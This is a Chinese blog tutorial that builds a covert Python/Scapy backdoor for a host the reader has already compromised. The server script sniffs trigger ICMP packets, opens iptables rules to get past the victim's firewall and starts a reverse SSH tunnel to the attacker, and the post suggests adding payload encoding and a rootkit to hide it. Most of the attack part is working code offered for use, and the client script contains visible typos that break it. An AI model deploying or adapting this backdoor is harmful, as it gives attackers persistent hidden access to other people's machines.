用Python编写一个简单的CS架构后门的方法


Posted in Python onNovember 20, 2018

0x00:事先说明

  • 你已经攻陷了对方主机且获得了最高权限。
  • 对方的本地防火墙会丢弃所有的外来数据包。
  • 这个后门不会仅绑定在某一个端口上。
  • 这段代码很容易写,毕竟是 Python(准确说是 Python 2.x)。

0x01:工作原理

用Python编写一个简单的CS架构后门的方法

如你所见,客户端将伪造具有 ICMP 负载的特定数据包,另一方面在服务端,也就是我们的被攻击主机,将会接受我们发送的数据包,即使它开启了本地的防火墙(丢弃所有外来数据包)。关键在于无线网卡的监听模式,它无需和 AP 建立连接却可以和接受所有流经空气的数据包。

我们会用到一个有用的第三方包 Scapy。这是它的官方文档。如果你是第一次使用,不妨参考这篇文章,也许会有帮助。

0x02:客户端代码

'''
客户端代码。将服务端的 IP 地址、客户端的 IP 地址、客户端的连接端口,以及连接所需密码作为程序输入。如果成功返回一个交互式后门,在代码硬编码好的位置写入日志文件信息。
'''
#! /usr/bin/env python
import logging
import socket
from scapy.all import *
import os
import os.path
import sys
import time
logging.getLongger("scapy.runtime").setLevel(loggin.ERROR)
file_result = "/tmp/done"
if len(sys.argv) != 5:
 print "usage : " + " IP_SERVER " + " CLIENT_IP " + " PORT_SSH_CLIENT " + “ PASSWORD_CLIENT ”
 sys.exit(1)
server = sys.argv[1]
if os.path.isfile(file_result):
 os.remove(file_result)
load = sys.argv[2] + "|" + sys.argv[3] + "|" + sys.argv[4]
pingr = IP(dst = server) / ICMP() / load
send(pingr, verbose = 0) # send() 函数工作在协议栈的第三层(网络层)

0x04:服务端代码

服务端代码分为两块:1. 主要脚本部分、2. ssh 隧道部分。

'''
服务端代码之主要脚本部分。这个脚本会监听 ICMP 数据包并从句法上分析其携带的数据部分(客户端 IP 地址、客户端连接端口、连接所需密码)。接着在本地打开两个新的防火墙规则。最后调用另一个 expect 脚本,以建立和客户端之间稳定的 ssh 连接。
'''
#! /usr/bin/env python
import logging
import socket
from scapy.all import *
import re
import subprocess # py2.4 新增模块,允许用户编写代码生成新进程,连接到它们的 input/output/error 管道,并获取它们的返回/状态码。
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
def icmp_monitor_callback(pkt):
 reg = re.compile("(.*)\|(.*)\|(.*)")
 g = reg.match(pkt.load)
 if g:
 subprocess.Popen(["/sbin/iptables", "-I", "INPUT", "1","-s",g.group(1),'-j','ACCEPT'])
 subprocess.Popen(["/sbin/iptables", "-I", "OUTPUT", "1","-d",g.group(1),'-j','ACCEPT'])
 p=subprocess.call(["/root/sshtunnel.sh", g.group(1),g.group(2),g.group(3)])
 return
sniff(prn=icmp_monitor_callback, filter="icmp", store=0) # scapy.sniff() 函数会嗅探来自空气中的数据包,prn 参数用来指定回调函数,每当符合 filter 的报文被探测到时,就会执行回调函数。有关该函数的详细信息,可以参考这篇博客:https://thepacketgeek.com/scapy-sniffing-with-custom-actions-part-1/
'''
服务端代码之 ssh 隧道部分,实际上是一个简单的 expect 脚本。接受嗅探到的客户端 IP 地址、客户端端口,以及用于连接的密码作为输入。
'''
#!/usr/bin/expect -f
set ip [lindex $argv 0];
set port [lindex $argv 1];
set password [lindex $argv 2];
spawn ssh -o StrictHostKeyChecking=no -R 19999:localhost:$port $ip
expect "*?assword:*"
send "$password\r"
expect "*#"
send "touch /tmp/done\r"
interact

0x05:文末思考

上面完成的后门代码待完善的地方。

  • ICMP payload 应该被编码。
  • 添加其他的协议用来唤醒该后门(如 http、特定的 syn 包、dns 等)。
  • 写一个 rootkit,隐藏该后门,猥琐欲为。此乃后话。

有关 rootkit 的延伸阅读。

  • https://3water.com/article/151111.htm
  • https://null-byte.wonderhowto.com/how-to/writing-windows-10-rootkit-part-1-0165781/

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对三水点靠木的支持。如果你想了解更多相关内容请查看下面相关链接

Python 相关文章推荐
Python 用户登录验证的小例子
Mar 06 Python
Python内置函数Type()函数一个有趣的用法
Feb 18 Python
python检测远程端口是否打开的方法
Mar 14 Python
Python函数中*args和**kwargs来传递变长参数的用法
Jan 26 Python
Python使用email模块对邮件进行编码和解码的实例教程
Jul 01 Python
python的numpy模块安装不成功简单解决方法总结
Dec 23 Python
django富文本编辑器的实现示例
Apr 10 Python
很酷的python表白工具 你喜欢我吗
Apr 11 Python
学习python分支结构
May 17 Python
Python+PyQT5的子线程更新UI界面的实例
Jun 14 Python
对于Python深浅拷贝的理解
Jul 29 Python
python分布式爬虫中消息队列知识点详解
Nov 26 Python
python pygame实现2048游戏
Nov 20 #Python
python pygame模块编写飞机大战
Nov 20 #Python
Python Scapy随心所欲研究TCP协议栈
Nov 20 #Python
python版飞机大战代码分享
Nov 20 #Python
pygame实现雷电游戏雏形开发
Nov 20 #Python
pygame游戏之旅 游戏中添加显示文字
Nov 20 #Python
pygame游戏之旅 添加键盘按键的方法
Nov 20 #Python
You might like
超神学院:天使彦公认最美的三个视角,网友:我的天使快下凡吧!
2020/03/02 国漫
很让人受教的 提高php代码质量36计
2012/09/05 PHP
PHP之APC缓存详细介绍 apc模块安装
2014/01/13 PHP
如何解决PHP无法实现多线程的问题
2015/09/25 PHP
thinkPHP5.1框架路由::get、post请求简单用法示例
2019/05/06 PHP
PHP与Web页面的交互示例详解二
2020/08/04 PHP
用JavaScript脚本实现Web页面信息交互
2006/12/21 Javascript
JS获取鼠标坐标的实例方法
2013/07/18 Javascript
js实现瀑布流的一种简单方法实例分享
2013/11/04 Javascript
页面刷新时记住滚动条的位置jquery代码
2014/06/17 Javascript
jQuery定义背景动态切换效果的方法
2015/03/23 Javascript
AngularJS基础知识笔记之表格
2015/05/10 Javascript
一个php+js实时显示时间问题
2015/10/12 Javascript
Textarea输入字数限制实例(兼容iOS&安卓)
2017/07/06 Javascript
微信小程序实现流程进度的图样式功能
2018/01/16 Javascript
js捆绑TypeScript声明文件的方法教程
2018/04/13 Javascript
移动端底部导航固定配合vue-router实现组件切换功能
2019/06/13 Javascript
微信小程序实现一张或多张图片上传(云开发)
2019/09/25 Javascript
vue 中的 render 函数作用详解
2020/02/28 Javascript
8个非常实用的Vue自定义指令
2020/12/15 Vue.js
Python原始字符串(raw strings)用法实例
2014/10/13 Python
批处理与python代码混合编程的方法
2016/05/19 Python
python实现手机通讯录搜索功能
2018/02/22 Python
在PyCharm下打包*.py程序成.exe的方法
2018/11/29 Python
Python脚本操作Excel实现批量替换功能
2019/11/20 Python
Pycharm pyuic5实现将ui文件转为py文件,让UI界面成功显示
2020/04/08 Python
如何利用python web框架做文件流下载的实现示例
2020/06/02 Python
深入浅析pycharm中 Make available to all projects的含义
2020/09/15 Python
Python Pillow(PIL)库的用法详解
2020/09/19 Python
英国航空官网:British Airways
2016/09/11 全球购物
美国领先的低折扣旅行网站:Hotwire
2019/01/19 全球购物
我的网上商城创业计划书
2013/12/26 职场文书
公司聘任书模板
2014/03/29 职场文书
部队2014年终工作总结
2014/11/27 职场文书
2014年度个人工作总结范文
2015/03/09 职场文书
关于 Python json中load和loads区别
2021/11/07 Python